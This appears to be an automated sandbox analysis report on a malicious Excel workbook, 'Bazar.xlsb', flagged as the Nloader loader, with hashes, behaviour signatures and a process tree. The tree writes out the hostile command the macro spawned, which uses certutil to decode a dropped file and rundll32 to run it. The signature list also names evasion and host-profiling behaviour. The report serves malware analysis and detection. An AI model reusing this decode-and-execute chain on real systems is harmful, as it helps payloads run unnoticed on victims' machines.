Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
08/10/2026, 09:22
General
- Target Bazar.xlsb
- Size 289KB
- Sample261008-lbvs6avsds
- SHA256 32b9ed5ed7f0adfc8f39a6300e4fe0831a60c2b4e4631a4d6f7e96ee2b9ff40f
Malware Config
Extracted
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xlm4.0
Signatures
- Family: Nloader
Simple loader that includes the keyword 'campo' in the URL used to download other families.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Nloader payload 1 IoCs
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Loads dropped DLL 1 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs
Payload decoded via CertUtil.
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Program crash 1 IoCs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 41 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Documents\Bazar.xlsb"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd.exe /c certutil -decode %PUBLIC%\105011.oop %PUBLIC%\105011.gof && rundll32 %PUBLIC%\105011.gof,DF12⤵
- Process spawned unexpected child process
- Deobfuscate/Decode Files or Information
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\certutil.execertutil -decode C:\Users\Public\105011.oop C:\Users\Public\105011.gof3⤵
- Deobfuscate/Decode Files or Information
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C:\Windows\system32\rundll32.exerundll32 C:\Users\Public\105011.gof,DF13⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32 C:\Users\Public\105011.gof,DF14⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 7325⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 6104 -ip 61041⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
index.dat
index.dat
YE7EIWX3WO186X57VGBY.temp
YT0Z4M1HRZWSUGCDDQ2E.temp
105011.gof
105011.oop
memory/4988-5-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-0-0x00007FFD5ED20000-0x00007FFD5ED30000-memory.dmp
memory/4988-8-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-10-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-9-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-12-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-13-0x00007FFD5C480000-0x00007FFD5C490000-memory.dmp
memory/4988-11-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-14-0x00007FFD5C480000-0x00007FFD5C490000-memory.dmp
memory/4988-7-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-6-0x00007FFD5ED20000-0x00007FFD5ED30000-memory.dmp
memory/4988-1-0x00007FFD5ED20000-0x00007FFD5ED30000-memory.dmp
memory/4988-4-0x00007FFD9ED3F000-0x00007FFD9ED40000-memory.dmp
memory/4988-2-0x00007FFD5ED20000-0x00007FFD5ED30000-memory.dmp
memory/4988-86-0x00007FFD9EBE0000-0x00007FFD9EE43000-memory.dmp
memory/4988-3-0x00007FFD5ED20000-0x00007FFD5ED30000-memory.dmp
memory/6104-92-0x00000000752A0000-0x00000000752D3000-memory.dmp
memory/6104-87-0x0000000001390000-0x0000000001395000-memory.dmp
memory/6104-85-0x00000000752A0000-0x00000000752D3000-memory.dmp